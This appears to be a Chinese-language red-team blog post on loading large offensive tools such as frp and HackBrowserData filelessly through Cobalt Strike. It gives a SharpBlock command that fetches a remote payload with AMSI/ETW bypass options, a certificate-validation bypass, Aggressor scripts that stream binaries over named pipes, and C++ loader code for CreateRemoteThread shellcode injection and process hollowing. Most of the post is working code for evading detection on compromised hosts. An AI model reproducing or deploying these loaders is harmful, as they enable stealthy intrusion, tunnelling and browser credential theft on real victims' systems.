在攻防中经常会使用到frp,HackBrowserData等工具,常规的落地使用远不如在内存中直接加载省事/OPSEC,但因inject/execute-assembly等有着1mb的限制,所以需要另辟蹊径
SharpBlock(需要.net4.0)
execute-assembly SharpBlock.exe -e https://image.com/frp -s c:\windows\system32\notepad.exe -a "-c c:\frpc.ini" --disable-bypass-amsi --disable-bypass-cmdline --disable-bypass-etw
注意 image 中因为是用了cna的方式,所以-a 参数时因为frpc的参数为 -c" "xxx.ini
所以你需要给空格包裹一下,如果你是execute-assembly
那就没有这个问题了。另外这是ini落地的写法,如果你已经将frp修改为了无参数启动那就是一键一把梭了。
加入下面的代码以支持https
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
原版的SharpBlock因frp等文件太大,导致Payload传输不完整。其原因还是CS本身单次传输数据大小的问题,且原版SharpBlock只接收一次数据就会关闭管道,所以也不太适合大文件的使用
此处使用秋水fix过的版本
https://github.com/Like0x/SharpBlock
可以看到这是一个接近4M的PE文件。
使用pipe传输,无落地直接执行,修改项目中提供的cna即可
因.net 4.0在实战中还是会碰到缺失的情况,所以用c++改了一份
https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines
秋水使用的方式是在Payload传输完后发送ok作为标识符,关闭pipe进入下一步
alias frp {
$handle = openf(script_resource("frpc_windows_x64.exe"));
$data = readb($handle,-1);
closef($handle);
bupload_raw($bid,"\\\\.\\pipe\\pipename",base64_encode($data));
# This code turn off Pipeserver
for ($total = 0; $total < 5; $total++)
{
bpause($bid,100);
bupload_raw($bid,"\\\\.\\pipe\\pipename","ok");
}
}
我选择使用cna计算Payload的大小,传参给DLL
alias test {
$handle = openf(script_resource("frpc_windows_x64.exe"));
$data = readb($handle, -1);
closef($handle);
$size = strlen($data);
blog($1,"file size ".$size);
bdllspawn($1,script_resource("pipe.dll") , $size, "", 1000, false);
}
size = atoi((char*)lpReserved);
recv_total += cbBytesRead;
memcpy(temp, lpPipeInst->chRequest, cbBytesRead);
temp += cbBytesRead;
if (recv_total == size)
{
printf("[loader] recv all %02d bytes\r\n", recv_total);
DisconnectNamedPipe(hPipe);
https://github.com/TheWover/donut
常规的CreateRemoteThread测试
recv_total += cbBytesRead;
memcpy(temp, lpPipeInst->chRequest, cbBytesRead);
temp += cbBytesRead;
if (recv_total == size)
{
printf("[loader] recv all %02d bytes\r\n", recv_total);
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
CreateProcess(NULL, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
remoteBuffer = VirtualAllocEx(pi.hProcess, NULL, recv_total + 1, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuffer, shellcode, recv_total, NULL);
remoteThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
DisconnectNamedPipe(hPipe);
}
https://github.com/dust-life/Tools/tree/main/Named_Pipe
考虑到pe2shellcode有诸多不便,选择使用Process Hollowing并稍作修改
https://github.com/hasherezade/libpeconv/tree/master/run_pe
BYTE* memory_load(IN BYTE* payload, IN size_t r_size, OUT size_t& v_size, bool executable, bool relocate)
{
BYTE* mappedPE = load_pe_module(payload, r_size, v_size, executable, relocate);
free_pe_buffer(payload);
return mappedPE;
}
if (!CreateProcessA(
path,
(LPSTR)cmdLine,
NULL, //lpProcessAttributes
NULL, //lpThreadAttributes
FALSE, //bInheritHandles
CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, //dwCreationFlags
NULL, //lpEnvironment
NULL, //lpCurrentDirectory
&si, //lpStartupInfo
&pi //lpProcessInformation
))
upx过后的PE没有重定位表,所以需要忽略修复重定位表
if (!relocate_module(loaded_pe, payloadImageSize, (ULONGLONG)remoteBase)) {
std::cout << "Could not relocate the module!\n";
//3. Update the image base of the payload (local copy) to the Remote Base:
update_image_base(loaded_pe, (ULONGLONG)remoteBase);
}
else
{
update_image_base(loaded_pe, (ULONGLONG)remoteBase);
}
https://github.com/dust-life/run_pe
1.Bypass Cmdline、ETW等
2.更好的Process Hollowing
3.BOF版远程加载、Process Hollowing